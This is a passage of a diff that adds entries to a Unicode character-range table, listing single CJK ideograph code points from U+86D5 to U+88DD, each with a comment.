+ ["\u86D5", "\u86D5"], /* CJK Ideograph */
+ ["\u86D6", "\u86D6"], /* CJK Ideograph */
+ ["\u86D7", "\u86D7"], /* CJK Ideograph */
+ ["\u86D8", "\u86D8"], /* CJK Ideograph */
+ ["\u86D9", "\u86D9"], /* CJK Ideograph */
+ ["\u86DA", "\u86DA"], /* CJK Ideograph */
+ ["\u86DB", "\u86DB"], /* CJK Ideograph */
+ ["\u86DC", "\u86DC"], /* CJK Ideograph */
+ ["\u86DD", "\u86DD"], /* CJK Ideograph */
+ ["\u86DE", "\u86DE"], /* CJK Ideograph */
+ ["\u86DF", "\u86DF"], /* CJK Ideograph */
+ ["\u86E0", "\u86E0"], /* CJK Ideograph */
+ ["\u86E1", "\u86E1"], /* CJK Ideograph */
+ ["\u86E2", "\u86E2"], /* CJK Ideograph */
+ ["\u86E3", "\u86E3"], /* CJK Ideograph */
+ ["\u86E4", "\u86E4"], /* CJK Ideograph */
+ ["\u86E5", "\u86E5"], /* CJK Ideograph */
+ ["\u86E6", "\u86E6"], /* CJK Ideograph */
+ ["\u86E7", "\u86E7"], /* CJK Ideograph */
+ ["\u86E8", "\u86E8"], /* CJK Ideograph */
+ ["\u86E9", "\u86E9"], /* CJK Ideograph */
+ ["\u86EA", "\u86EA"], /* CJK Ideograph */
+ ["\u86EB", "\u86EB"], /* CJK Ideograph */
+ ["\u86EC", "\u86EC"], /* CJK Ideograph */
+ ["\u86ED", "\u86ED"], /* CJK Ideograph */
+ ["\u86EE", "\u86EE"], /* CJK Ideograph */
+ ["\u86EF", "\u86EF"], /* CJK Ideograph */
+ ["\u86F0", "\u86F0"], /* CJK Ideograph */
+ ["\u86F1", "\u86F1"], /* CJK Ideograph */
+ ["\u86F2", "\u86F2"], /* CJK Ideograph */
+ ["\u86F3", "\u86F3"], /* CJK Ideograph */
+ ["\u86F4", "\u86F4"], /* CJK Ideograph */
+ ["\u86F5", "\u86F5"], /* CJK Ideograph */
+ ["\u86F6", "\u86F6"], /* CJK Ideograph */
+ ["\u86F7", "\u86F7"], /* CJK Ideograph */
+ ["\u86F8", "\u86F8"], /* CJK Ideograph */
+ ["\u86F9", "\u86F9"], /* CJK Ideograph */
+ ["\u86FA", "\u86FA"], /* CJK Ideograph */
+ ["\u86FB", "\u86FB"], /* CJK Ideograph */
+ ["\u86FC", "\u86FC"], /* CJK Ideograph */
+ ["\u86FD", "\u86FD"], /* CJK Ideograph */
+ ["\u86FE", "\u86FE"], /* CJK Ideograph */
+ ["\u86FF", "\u86FF"], /* CJK Ideograph */
+ ["\u8700", "\u8700"], /* CJK Ideograph */
+ ["\u8701", "\u8701"], /* CJK Ideograph */
+ ["\u8702", "\u8702"], /* CJK Ideograph */
+ ["\u8703", "\u8703"], /* CJK Ideograph */
+ ["\u8704", "\u8704"], /* CJK Ideograph */
+ ["\u8705", "\u8705"], /* CJK Ideograph */
+ ["\u8706", "\u8706"], /* CJK Ideograph */
+ ["\u8707", "\u8707"], /* CJK Ideograph */
+ ["\u8708", "\u8708"], /* CJK Ideograph */
+ ["\u8709", "\u8709"], /* CJK Ideograph */
+ ["\u870A", "\u870A"], /* CJK Ideograph */
+ ["\u870B", "\u870B"], /* CJK Ideograph */
+ ["\u870C", "\u870C"], /* CJK Ideograph */
+ ["\u870D", "\u870D"], /* CJK Ideograph */
+ ["\u870E", "\u870E"], /* CJK Ideograph */
+ ["\u870F", "\u870F"], /* CJK Ideograph */
+ ["\u8710", "\u8710"], /* CJK Ideograph */
+ ["\u8711", "\u8711"], /* CJK Ideograph */
+ ["\u8712", "\u8712"], /* CJK Ideograph */
+ ["\u8713", "\u8713"], /* CJK Ideograph */
+ ["\u8714", "\u8714"], /* CJK Ideograph */
+ ["\u8715", "\u8715"], /* CJK Ideograph */
+ ["\u8716", "\u8716"], /* CJK Ideograph */
+ ["\u8717", "\u8717"], /* CJK Ideograph */
+ ["\u8718", "\u8718"], /* CJK Ideograph */
+ ["\u8719", "\u8719"], /* CJK Ideograph */
+ ["\u871A", "\u871A"], /* CJK Ideograph */
+ ["\u871B", "\u871B"], /* CJK Ideograph */
+ ["\u871C", "\u871C"], /* CJK Ideograph */
+ ["\u871D", "\u871D"], /* CJK Ideograph */
+ ["\u871E", "\u871E"], /* CJK Ideograph */
+ ["\u871F", "\u871F"], /* CJK Ideograph */
+ ["\u8720", "\u8720"], /* CJK Ideograph */
+ ["\u8721", "\u8721"], /* CJK Ideograph */
+ ["\u8722", "\u8722"], /* CJK Ideograph */
+ ["\u8723", "\u8723"], /* CJK Ideograph */
+ ["\u8724", "\u8724"], /* CJK Ideograph */
+ ["\u8725", "\u8725"], /* CJK Ideograph */
+ ["\u8726", "\u8726"], /* CJK Ideograph */
+ ["\u8727", "\u8727"], /* CJK Ideograph */
+ ["\u8728", "\u8728"], /* CJK Ideograph */
+ ["\u8729", "\u8729"], /* CJK Ideograph */
+ ["\u872A", "\u872A"], /* CJK Ideograph */
+ ["\u872B", "\u872B"], /* CJK Ideograph */
+ ["\u872C", "\u872C"], /* CJK Ideograph */
+ ["\u872D", "\u872D"], /* CJK Ideograph */
+ ["\u872E", "\u872E"], /* CJK Ideograph */
+ ["\u872F", "\u872F"], /* CJK Ideograph */
+ ["\u8730", "\u8730"], /* CJK Ideograph */
+ ["\u8731", "\u8731"], /* CJK Ideograph */
+ ["\u8732", "\u8732"], /* CJK Ideograph */
+ ["\u8733", "\u8733"], /* CJK Ideograph */
+ ["\u8734", "\u8734"], /* CJK Ideograph */
+ ["\u8735", "\u8735"], /* CJK Ideograph */
+ ["\u8736", "\u8736"], /* CJK Ideograph */
+ ["\u8737", "\u8737"], /* CJK Ideograph */
+ ["\u8738", "\u8738"], /* CJK Ideograph */
+ ["\u8739", "\u8739"], /* CJK Ideograph */
+ ["\u873A", "\u873A"], /* CJK Ideograph */
+ ["\u873B", "\u873B"], /* CJK Ideograph */
+ ["\u873C", "\u873C"], /* CJK Ideograph */
+ ["\u873D", "\u873D"], /* CJK Ideograph */
+ ["\u873E", "\u873E"], /* CJK Ideograph */
+ ["\u873F", "\u873F"], /* CJK Ideograph */
+ ["\u8740", "\u8740"], /* CJK Ideograph */
+ ["\u8741", "\u8741"], /* CJK Ideograph */
+ ["\u8742", "\u8742"], /* CJK Ideograph */
+ ["\u8743", "\u8743"], /* CJK Ideograph */
+ ["\u8744", "\u8744"], /* CJK Ideograph */
+ ["\u8745", "\u8745"], /* CJK Ideograph */
+ ["\u8746", "\u8746"], /* CJK Ideograph */
+ ["\u8747", "\u8747"], /* CJK Ideograph */
+ ["\u8748", "\u8748"], /* CJK Ideograph */
+ ["\u8749", "\u8749"], /* CJK Ideograph */
+ ["\u874A", "\u874A"], /* CJK Ideograph */
+ ["\u874B", "\u874B"], /* CJK Ideograph */
+ ["\u874C", "\u874C"], /* CJK Ideograph */
+ ["\u874D", "\u874D"], /* CJK Ideograph */
+ ["\u874E", "\u874E"], /* CJK Ideograph */
+ ["\u874F", "\u874F"], /* CJK Ideograph */
+ ["\u8750", "\u8750"], /* CJK Ideograph */
+ ["\u8751", "\u8751"], /* CJK Ideograph */
+ ["\u8752", "\u8752"], /* CJK Ideograph */
+ ["\u8753", "\u8753"], /* CJK Ideograph */
+ ["\u8754", "\u8754"], /* CJK Ideograph */
+ ["\u8755", "\u8755"], /* CJK Ideograph */
+ ["\u8756", "\u8756"], /* CJK Ideograph */
+ ["\u8757", "\u8757"], /* CJK Ideograph */
+ ["\u8758", "\u8758"], /* CJK Ideograph */
+ ["\u8759", "\u8759"], /* CJK Ideograph */
+ ["\u875A", "\u875A"], /* CJK Ideograph */
+ ["\u875B", "\u875B"], /* CJK Ideograph */
+ ["\u875C", "\u875C"], /* CJK Ideograph */
+ ["\u875D", "\u875D"], /* CJK Ideograph */
+ ["\u875E", "\u875E"], /* CJK Ideograph */
+ ["\u875F", "\u875F"], /* CJK Ideograph */
+ ["\u8760", "\u8760"], /* CJK Ideograph */
+ ["\u8761", "\u8761"], /* CJK Ideograph */
+ ["\u8762", "\u8762"], /* CJK Ideograph */
+ ["\u8763", "\u8763"], /* CJK Ideograph */
+ ["\u8764", "\u8764"], /* CJK Ideograph */
+ ["\u8765", "\u8765"], /* CJK Ideograph */
+ ["\u8766", "\u8766"], /* CJK Ideograph */
+ ["\u8767", "\u8767"], /* CJK Ideograph */
+ ["\u8768", "\u8768"], /* CJK Ideograph */
+ ["\u8769", "\u8769"], /* CJK Ideograph */
+ ["\u876A", "\u876A"], /* CJK Ideograph */
+ ["\u876B", "\u876B"], /* CJK Ideograph */
+ ["\u876C", "\u876C"], /* CJK Ideograph */
+ ["\u876D", "\u876D"], /* CJK Ideograph */
+ ["\u876E", "\u876E"], /* CJK Ideograph */
+ ["\u876F", "\u876F"], /* CJK Ideograph */
+ ["\u8770", "\u8770"], /* CJK Ideograph */
+ ["\u8771", "\u8771"], /* CJK Ideograph */
+ ["\u8772", "\u8772"], /* CJK Ideograph */
+ ["\u8773", "\u8773"], /* CJK Ideograph */
+ ["\u8774", "\u8774"], /* CJK Ideograph */
+ ["\u8775", "\u8775"], /* CJK Ideograph */
+ ["\u8776", "\u8776"], /* CJK Ideograph */
+ ["\u8777", "\u8777"], /* CJK Ideograph */
+ ["\u8778", "\u8778"], /* CJK Ideograph */
+ ["\u8779", "\u8779"], /* CJK Ideograph */
+ ["\u877A", "\u877A"], /* CJK Ideograph */
+ ["\u877B", "\u877B"], /* CJK Ideograph */
+ ["\u877C", "\u877C"], /* CJK Ideograph */
+ ["\u877D", "\u877D"], /* CJK Ideograph */
+ ["\u877E", "\u877E"], /* CJK Ideograph */
+ ["\u877F", "\u877F"], /* CJK Ideograph */
+ ["\u8780", "\u8780"], /* CJK Ideograph */
+ ["\u8781", "\u8781"], /* CJK Ideograph */
+ ["\u8782", "\u8782"], /* CJK Ideograph */
+ ["\u8783", "\u8783"], /* CJK Ideograph */
+ ["\u8784", "\u8784"], /* CJK Ideograph */
+ ["\u8785", "\u8785"], /* CJK Ideograph */
+ ["\u8786", "\u8786"], /* CJK Ideograph */
+ ["\u8787", "\u8787"], /* CJK Ideograph */
+ ["\u8788", "\u8788"], /* CJK Ideograph */
+ ["\u8789", "\u8789"], /* CJK Ideograph */
+ ["\u878A", "\u878A"], /* CJK Ideograph */
+ ["\u878B", "\u878B"], /* CJK Ideograph */
+ ["\u878C", "\u878C"], /* CJK Ideograph */
+ ["\u878D", "\u878D"], /* CJK Ideograph */
+ ["\u878E", "\u878E"], /* CJK Ideograph */
+ ["\u878F", "\u878F"], /* CJK Ideograph */
+ ["\u8790", "\u8790"], /* CJK Ideograph */
+ ["\u8791", "\u8791"], /* CJK Ideograph */
+ ["\u8792", "\u8792"], /* CJK Ideograph */
+ ["\u8793", "\u8793"], /* CJK Ideograph */
+ ["\u8794", "\u8794"], /* CJK Ideograph */
+ ["\u8795", "\u8795"], /* CJK Ideograph */
+ ["\u8796", "\u8796"], /* CJK Ideograph */
+ ["\u8797", "\u8797"], /* CJK Ideograph */
+ ["\u8798", "\u8798"], /* CJK Ideograph */
+ ["\u8799", "\u8799"], /* CJK Ideograph */
+ ["\u879A", "\u879A"], /* CJK Ideograph */
+ ["\u879B", "\u879B"], /* CJK Ideograph */
+ ["\u879C", "\u879C"], /* CJK Ideograph */
+ ["\u879D", "\u879D"], /* CJK Ideograph */
+ ["\u879E", "\u879E"], /* CJK Ideograph */
+ ["\u879F", "\u879F"], /* CJK Ideograph */
+ ["\u87A0", "\u87A0"], /* CJK Ideograph */
+ ["\u87A1", "\u87A1"], /* CJK Ideograph */
+ ["\u87A2", "\u87A2"], /* CJK Ideograph */
+ ["\u87A3", "\u87A3"], /* CJK Ideograph */
+ ["\u87A4", "\u87A4"], /* CJK Ideograph */
+ ["\u87A5", "\u87A5"], /* CJK Ideograph */
+ ["\u87A6", "\u87A6"], /* CJK Ideograph */
+ ["\u87A7", "\u87A7"], /* CJK Ideograph */
+ ["\u87A8", "\u87A8"], /* CJK Ideograph */
+ ["\u87A9", "\u87A9"], /* CJK Ideograph */
+ ["\u87AA", "\u87AA"], /* CJK Ideograph */
+ ["\u87AB", "\u87AB"], /* CJK Ideograph */
+ ["\u87AC", "\u87AC"], /* CJK Ideograph */
+ ["\u87AD", "\u87AD"], /* CJK Ideograph */
+ ["\u87AE", "\u87AE"], /* CJK Ideograph */
+ ["\u87AF", "\u87AF"], /* CJK Ideograph */
+ ["\u87B0", "\u87B0"], /* CJK Ideograph */
+ ["\u87B1", "\u87B1"], /* CJK Ideograph */
+ ["\u87B2", "\u87B2"], /* CJK Ideograph */
+ ["\u87B3", "\u87B3"], /* CJK Ideograph */
+ ["\u87B4", "\u87B4"], /* CJK Ideograph */
+ ["\u87B5", "\u87B5"], /* CJK Ideograph */
+ ["\u87B6", "\u87B6"], /* CJK Ideograph */
+ ["\u87B7", "\u87B7"], /* CJK Ideograph */
+ ["\u87B8", "\u87B8"], /* CJK Ideograph */
+ ["\u87B9", "\u87B9"], /* CJK Ideograph */
+ ["\u87BA", "\u87BA"], /* CJK Ideograph */
+ ["\u87BB", "\u87BB"], /* CJK Ideograph */
+ ["\u87BC", "\u87BC"], /* CJK Ideograph */
+ ["\u87BD", "\u87BD"], /* CJK Ideograph */
+ ["\u87BE", "\u87BE"], /* CJK Ideograph */
+ ["\u87BF", "\u87BF"], /* CJK Ideograph */
+ ["\u87C0", "\u87C0"], /* CJK Ideograph */
+ ["\u87C1", "\u87C1"], /* CJK Ideograph */
+ ["\u87C2", "\u87C2"], /* CJK Ideograph */
+ ["\u87C3", "\u87C3"], /* CJK Ideograph */
+ ["\u87C4", "\u87C4"], /* CJK Ideograph */
+ ["\u87C5", "\u87C5"], /* CJK Ideograph */
+ ["\u87C6", "\u87C6"], /* CJK Ideograph */
+ ["\u87C7", "\u87C7"], /* CJK Ideograph */
+ ["\u87C8", "\u87C8"], /* CJK Ideograph */
+ ["\u87C9", "\u87C9"], /* CJK Ideograph */
+ ["\u87CA", "\u87CA"], /* CJK Ideograph */
+ ["\u87CB", "\u87CB"], /* CJK Ideograph */
+ ["\u87CC", "\u87CC"], /* CJK Ideograph */
+ ["\u87CD", "\u87CD"], /* CJK Ideograph */
+ ["\u87CE", "\u87CE"], /* CJK Ideograph */
+ ["\u87CF", "\u87CF"], /* CJK Ideograph */
+ ["\u87D0", "\u87D0"], /* CJK Ideograph */
+ ["\u87D1", "\u87D1"], /* CJK Ideograph */
+ ["\u87D2", "\u87D2"], /* CJK Ideograph */
+ ["\u87D3", "\u87D3"], /* CJK Ideograph */
+ ["\u87D4", "\u87D4"], /* CJK Ideograph */
+ ["\u87D5", "\u87D5"], /* CJK Ideograph */
+ ["\u87D6", "\u87D6"], /* CJK Ideograph */
+ ["\u87D7", "\u87D7"], /* CJK Ideograph */
+ ["\u87D8", "\u87D8"], /* CJK Ideograph */
+ ["\u87D9", "\u87D9"], /* CJK Ideograph */
+ ["\u87DA", "\u87DA"], /* CJK Ideograph */
+ ["\u87DB", "\u87DB"], /* CJK Ideograph */
+ ["\u87DC", "\u87DC"], /* CJK Ideograph */
+ ["\u87DD", "\u87DD"], /* CJK Ideograph */
+ ["\u87DE", "\u87DE"], /* CJK Ideograph */
+ ["\u87DF", "\u87DF"], /* CJK Ideograph */
+ ["\u87E0", "\u87E0"], /* CJK Ideograph */
+ ["\u87E1", "\u87E1"], /* CJK Ideograph */
+ ["\u87E2", "\u87E2"], /* CJK Ideograph */
+ ["\u87E3", "\u87E3"], /* CJK Ideograph */
+ ["\u87E4", "\u87E4"], /* CJK Ideograph */
+ ["\u87E5", "\u87E5"], /* CJK Ideograph */
+ ["\u87E6", "\u87E6"], /* CJK Ideograph */
+ ["\u87E7", "\u87E7"], /* CJK Ideograph */
+ ["\u87E8", "\u87E8"], /* CJK Ideograph */
+ ["\u87E9", "\u87E9"], /* CJK Ideograph */
+ ["\u87EA", "\u87EA"], /* CJK Ideograph */
+ ["\u87EB", "\u87EB"], /* CJK Ideograph */
+ ["\u87EC", "\u87EC"], /* CJK Ideograph */
+ ["\u87ED", "\u87ED"], /* CJK Ideograph */
+ ["\u87EE", "\u87EE"], /* CJK Ideograph */
+ ["\u87EF", "\u87EF"], /* CJK Ideograph */
+ ["\u87F0", "\u87F0"], /* CJK Ideograph */
+ ["\u87F1", "\u87F1"], /* CJK Ideograph */
+ ["\u87F2", "\u87F2"], /* CJK Ideograph */
+ ["\u87F3", "\u87F3"], /* CJK Ideograph */
+ ["\u87F4", "\u87F4"], /* CJK Ideograph */
+ ["\u87F5", "\u87F5"], /* CJK Ideograph */
+ ["\u87F6", "\u87F6"], /* CJK Ideograph */
+ ["\u87F7", "\u87F7"], /* CJK Ideograph */
+ ["\u87F8", "\u87F8"], /* CJK Ideograph */
+ ["\u87F9", "\u87F9"], /* CJK Ideograph */
+ ["\u87FA", "\u87FA"], /* CJK Ideograph */
+ ["\u87FB", "\u87FB"], /* CJK Ideograph */
+ ["\u87FC", "\u87FC"], /* CJK Ideograph */
+ ["\u87FD", "\u87FD"], /* CJK Ideograph */
+ ["\u87FE", "\u87FE"], /* CJK Ideograph */
+ ["\u87FF", "\u87FF"], /* CJK Ideograph */
+ ["\u8800", "\u8800"], /* CJK Ideograph */
+ ["\u8801", "\u8801"], /* CJK Ideograph */
+ ["\u8802", "\u8802"], /* CJK Ideograph */
+ ["\u8803", "\u8803"], /* CJK Ideograph */
+ ["\u8804", "\u8804"], /* CJK Ideograph */
+ ["\u8805", "\u8805"], /* CJK Ideograph */
+ ["\u8806", "\u8806"], /* CJK Ideograph */
+ ["\u8807", "\u8807"], /* CJK Ideograph */
+ ["\u8808", "\u8808"], /* CJK Ideograph */
+ ["\u8809", "\u8809"], /* CJK Ideograph */
+ ["\u880A", "\u880A"], /* CJK Ideograph */
+ ["\u880B", "\u880B"], /* CJK Ideograph */
+ ["\u880C", "\u880C"], /* CJK Ideograph */
+ ["\u880D", "\u880D"], /* CJK Ideograph */
+ ["\u880E", "\u880E"], /* CJK Ideograph */
+ ["\u880F", "\u880F"], /* CJK Ideograph */
+ ["\u8810", "\u8810"], /* CJK Ideograph */
+ ["\u8811", "\u8811"], /* CJK Ideograph */
+ ["\u8812", "\u8812"], /* CJK Ideograph */
+ ["\u8813", "\u8813"], /* CJK Ideograph */
+ ["\u8814", "\u8814"], /* CJK Ideograph */
+ ["\u8815", "\u8815"], /* CJK Ideograph */
+ ["\u8816", "\u8816"], /* CJK Ideograph */
+ ["\u8817", "\u8817"], /* CJK Ideograph */
+ ["\u8818", "\u8818"], /* CJK Ideograph */
+ ["\u8819", "\u8819"], /* CJK Ideograph */
+ ["\u881A", "\u881A"], /* CJK Ideograph */
+ ["\u881B", "\u881B"], /* CJK Ideograph */
+ ["\u881C", "\u881C"], /* CJK Ideograph */
+ ["\u881D", "\u881D"], /* CJK Ideograph */
+ ["\u881E", "\u881E"], /* CJK Ideograph */
+ ["\u881F", "\u881F"], /* CJK Ideograph */
+ ["\u8820", "\u8820"], /* CJK Ideograph */
+ ["\u8821", "\u8821"], /* CJK Ideograph */
+ ["\u8822", "\u8822"], /* CJK Ideograph */
+ ["\u8823", "\u8823"], /* CJK Ideograph */
+ ["\u8824", "\u8824"], /* CJK Ideograph */
+ ["\u8825", "\u8825"], /* CJK Ideograph */
+ ["\u8826", "\u8826"], /* CJK Ideograph */
+ ["\u8827", "\u8827"], /* CJK Ideograph */
+ ["\u8828", "\u8828"], /* CJK Ideograph */
+ ["\u8829", "\u8829"], /* CJK Ideograph */
+ ["\u882A", "\u882A"], /* CJK Ideograph */
+ ["\u882B", "\u882B"], /* CJK Ideograph */
+ ["\u882C", "\u882C"], /* CJK Ideograph */
+ ["\u882D", "\u882D"], /* CJK Ideograph */
+ ["\u882E", "\u882E"], /* CJK Ideograph */
+ ["\u882F", "\u882F"], /* CJK Ideograph */
+ ["\u8830", "\u8830"], /* CJK Ideograph */
+ ["\u8831", "\u8831"], /* CJK Ideograph */
+ ["\u8832", "\u8832"], /* CJK Ideograph */
+ ["\u8833", "\u8833"], /* CJK Ideograph */
+ ["\u8834", "\u8834"], /* CJK Ideograph */
+ ["\u8835", "\u8835"], /* CJK Ideograph */
+ ["\u8836", "\u8836"], /* CJK Ideograph */
+ ["\u8837", "\u8837"], /* CJK Ideograph */
+ ["\u8838", "\u8838"], /* CJK Ideograph */
+ ["\u8839", "\u8839"], /* CJK Ideograph */
+ ["\u883A", "\u883A"], /* CJK Ideograph */
+ ["\u883B", "\u883B"], /* CJK Ideograph */
+ ["\u883C", "\u883C"], /* CJK Ideograph */
+ ["\u883D", "\u883D"], /* CJK Ideograph */
+ ["\u883E", "\u883E"], /* CJK Ideograph */
+ ["\u883F", "\u883F"], /* CJK Ideograph */
+ ["\u8840", "\u8840"], /* CJK Ideograph */
+ ["\u8841", "\u8841"], /* CJK Ideograph */
+ ["\u8842", "\u8842"], /* CJK Ideograph */
+ ["\u8843", "\u8843"], /* CJK Ideograph */
+ ["\u8844", "\u8844"], /* CJK Ideograph */
+ ["\u8845", "\u8845"], /* CJK Ideograph */
+ ["\u8846", "\u8846"], /* CJK Ideograph */
+ ["\u8847", "\u8847"], /* CJK Ideograph */
+ ["\u8848", "\u8848"], /* CJK Ideograph */
+ ["\u8849", "\u8849"], /* CJK Ideograph */
+ ["\u884A", "\u884A"], /* CJK Ideograph */
+ ["\u884B", "\u884B"], /* CJK Ideograph */
+ ["\u884C", "\u884C"], /* CJK Ideograph */
+ ["\u884D", "\u884D"], /* CJK Ideograph */
+ ["\u884E", "\u884E"], /* CJK Ideograph */
+ ["\u884F", "\u884F"], /* CJK Ideograph */
+ ["\u8850", "\u8850"], /* CJK Ideograph */
+ ["\u8851", "\u8851"], /* CJK Ideograph */
+ ["\u8852", "\u8852"], /* CJK Ideograph */
+ ["\u8853", "\u8853"], /* CJK Ideograph */
+ ["\u8854", "\u8854"], /* CJK Ideograph */
+ ["\u8855", "\u8855"], /* CJK Ideograph */
+ ["\u8856", "\u8856"], /* CJK Ideograph */
+ ["\u8857", "\u8857"], /* CJK Ideograph */
+ ["\u8858", "\u8858"], /* CJK Ideograph */
+ ["\u8859", "\u8859"], /* CJK Ideograph */
+ ["\u885A", "\u885A"], /* CJK Ideograph */
+ ["\u885B", "\u885B"], /* CJK Ideograph */
+ ["\u885C", "\u885C"], /* CJK Ideograph */
+ ["\u885D", "\u885D"], /* CJK Ideograph */
+ ["\u885E", "\u885E"], /* CJK Ideograph */
+ ["\u885F", "\u885F"], /* CJK Ideograph */
+ ["\u8860", "\u8860"], /* CJK Ideograph */
+ ["\u8861", "\u8861"], /* CJK Ideograph */
+ ["\u8862", "\u8862"], /* CJK Ideograph */
+ ["\u8863", "\u8863"], /* CJK Ideograph */
+ ["\u8864", "\u8864"], /* CJK Ideograph */
+ ["\u8865", "\u8865"], /* CJK Ideograph */
+ ["\u8866", "\u8866"], /* CJK Ideograph */
+ ["\u8867", "\u8867"], /* CJK Ideograph */
+ ["\u8868", "\u8868"], /* CJK Ideograph */
+ ["\u8869", "\u8869"], /* CJK Ideograph */
+ ["\u886A", "\u886A"], /* CJK Ideograph */
+ ["\u886B", "\u886B"], /* CJK Ideograph */
+ ["\u886C", "\u886C"], /* CJK Ideograph */
+ ["\u886D", "\u886D"], /* CJK Ideograph */
+ ["\u886E", "\u886E"], /* CJK Ideograph */
+ ["\u886F", "\u886F"], /* CJK Ideograph */
+ ["\u8870", "\u8870"], /* CJK Ideograph */
+ ["\u8871", "\u8871"], /* CJK Ideograph */
+ ["\u8872", "\u8872"], /* CJK Ideograph */
+ ["\u8873", "\u8873"], /* CJK Ideograph */
+ ["\u8874", "\u8874"], /* CJK Ideograph */
+ ["\u8875", "\u8875"], /* CJK Ideograph */
+ ["\u8876", "\u8876"], /* CJK Ideograph */
+ ["\u8877", "\u8877"], /* CJK Ideograph */
+ ["\u8878", "\u8878"], /* CJK Ideograph */
+ ["\u8879", "\u8879"], /* CJK Ideograph */
+ ["\u887A", "\u887A"], /* CJK Ideograph */
+ ["\u887B", "\u887B"], /* CJK Ideograph */
+ ["\u887C", "\u887C"], /* CJK Ideograph */
+ ["\u887D", "\u887D"], /* CJK Ideograph */
+ ["\u887E", "\u887E"], /* CJK Ideograph */
+ ["\u887F", "\u887F"], /* CJK Ideograph */
+ ["\u8880", "\u8880"], /* CJK Ideograph */
+ ["\u8881", "\u8881"], /* CJK Ideograph */
+ ["\u8882", "\u8882"], /* CJK Ideograph */
+ ["\u8883", "\u8883"], /* CJK Ideograph */
+ ["\u8884", "\u8884"], /* CJK Ideograph */
+ ["\u8885", "\u8885"], /* CJK Ideograph */
+ ["\u8886", "\u8886"], /* CJK Ideograph */
+ ["\u8887", "\u8887"], /* CJK Ideograph */
+ ["\u8888", "\u8888"], /* CJK Ideograph */
+ ["\u8889", "\u8889"], /* CJK Ideograph */
+ ["\u888A", "\u888A"], /* CJK Ideograph */
+ ["\u888B", "\u888B"], /* CJK Ideograph */
+ ["\u888C", "\u888C"], /* CJK Ideograph */
+ ["\u888D", "\u888D"], /* CJK Ideograph */
+ ["\u888E", "\u888E"], /* CJK Ideograph */
+ ["\u888F", "\u888F"], /* CJK Ideograph */
+ ["\u8890", "\u8890"], /* CJK Ideograph */
+ ["\u8891", "\u8891"], /* CJK Ideograph */
+ ["\u8892", "\u8892"], /* CJK Ideograph */
+ ["\u8893", "\u8893"], /* CJK Ideograph */
+ ["\u8894", "\u8894"], /* CJK Ideograph */
+ ["\u8895", "\u8895"], /* CJK Ideograph */
+ ["\u8896", "\u8896"], /* CJK Ideograph */
+ ["\u8897", "\u8897"], /* CJK Ideograph */
+ ["\u8898", "\u8898"], /* CJK Ideograph */
+ ["\u8899", "\u8899"], /* CJK Ideograph */
+ ["\u889A", "\u889A"], /* CJK Ideograph */
+ ["\u889B", "\u889B"], /* CJK Ideograph */
+ ["\u889C", "\u889C"], /* CJK Ideograph */
+ ["\u889D", "\u889D"], /* CJK Ideograph */
+ ["\u889E", "\u889E"], /* CJK Ideograph */
+ ["\u889F", "\u889F"], /* CJK Ideograph */
+ ["\u88A0", "\u88A0"], /* CJK Ideograph */
+ ["\u88A1", "\u88A1"], /* CJK Ideograph */
+ ["\u88A2", "\u88A2"], /* CJK Ideograph */
+ ["\u88A3", "\u88A3"], /* CJK Ideograph */
+ ["\u88A4", "\u88A4"], /* CJK Ideograph */
+ ["\u88A5", "\u88A5"], /* CJK Ideograph */
+ ["\u88A6", "\u88A6"], /* CJK Ideograph */
+ ["\u88A7", "\u88A7"], /* CJK Ideograph */
+ ["\u88A8", "\u88A8"], /* CJK Ideograph */
+ ["\u88A9", "\u88A9"], /* CJK Ideograph */
+ ["\u88AA", "\u88AA"], /* CJK Ideograph */
+ ["\u88AB", "\u88AB"], /* CJK Ideograph */
+ ["\u88AC", "\u88AC"], /* CJK Ideograph */
+ ["\u88AD", "\u88AD"], /* CJK Ideograph */
+ ["\u88AE", "\u88AE"], /* CJK Ideograph */
+ ["\u88AF", "\u88AF"], /* CJK Ideograph */
+ ["\u88B0", "\u88B0"], /* CJK Ideograph */
+ ["\u88B1", "\u88B1"], /* CJK Ideograph */
+ ["\u88B2", "\u88B2"], /* CJK Ideograph */
+ ["\u88B3", "\u88B3"], /* CJK Ideograph */
+ ["\u88B4", "\u88B4"], /* CJK Ideograph */
+ ["\u88B5", "\u88B5"], /* CJK Ideograph */
+ ["\u88B6", "\u88B6"], /* CJK Ideograph */
+ ["\u88B7", "\u88B7"], /* CJK Ideograph */
+ ["\u88B8", "\u88B8"], /* CJK Ideograph */
+ ["\u88B9", "\u88B9"], /* CJK Ideograph */
+ ["\u88BA", "\u88BA"], /* CJK Ideograph */
+ ["\u88BB", "\u88BB"], /* CJK Ideograph */
+ ["\u88BC", "\u88BC"], /* CJK Ideograph */
+ ["\u88BD", "\u88BD"], /* CJK Ideograph */
+ ["\u88BE", "\u88BE"], /* CJK Ideograph */
+ ["\u88BF", "\u88BF"], /* CJK Ideograph */
+ ["\u88C0", "\u88C0"], /* CJK Ideograph */
+ ["\u88C1", "\u88C1"], /* CJK Ideograph */
+ ["\u88C2", "\u88C2"], /* CJK Ideograph */
+ ["\u88C3", "\u88C3"], /* CJK Ideograph */
+ ["\u88C4", "\u88C4"], /* CJK Ideograph */
+ ["\u88C5", "\u88C5"], /* CJK Ideograph */
+ ["\u88C6", "\u88C6"], /* CJK Ideograph */
+ ["\u88C7", "\u88C7"], /* CJK Ideograph */
+ ["\u88C8", "\u88C8"], /* CJK Ideograph */
+ ["\u88C9", "\u88C9"], /* CJK Ideograph */
+ ["\u88CA", "\u88CA"], /* CJK Ideograph */
+ ["\u88CB", "\u88CB"], /* CJK Ideograph */
+ ["\u88CC", "\u88CC"], /* CJK Ideograph */
+ ["\u88CD", "\u88CD"], /* CJK Ideograph */
+ ["\u88CE", "\u88CE"], /* CJK Ideograph */
+ ["\u88CF", "\u88CF"], /* CJK Ideograph */
+ ["\u88D0", "\u88D0"], /* CJK Ideograph */
+ ["\u88D1", "\u88D1"], /* CJK Ideograph */
+ ["\u88D2", "\u88D2"], /* CJK Ideograph */
+ ["\u88D3", "\u88D3"], /* CJK Ideograph */
+ ["\u88D4", "\u88D4"], /* CJK Ideograph */
+ ["\u88D5", "\u88D5"], /* CJK Ideograph */
+ ["\u88D6", "\u88D6"], /* CJK Ideograph */
+ ["\u88D7", "\u88D7"], /* CJK Ideograph */
+ ["\u88D8", "\u88D8"], /* CJK Ideograph */
+ ["\u88D9", "\u88D9"], /* CJK Ideograph */
+ ["\u88DA", "\u88DA"], /* CJK Ideograph */
+ ["\u88DB", "\u88DB"], /* CJK Ideograph */
+ ["\u88DC", "\u88DC"], /* CJK Ideograph */
+ ["\u88DD", "\u88DD"], /* CJK Ideograph */
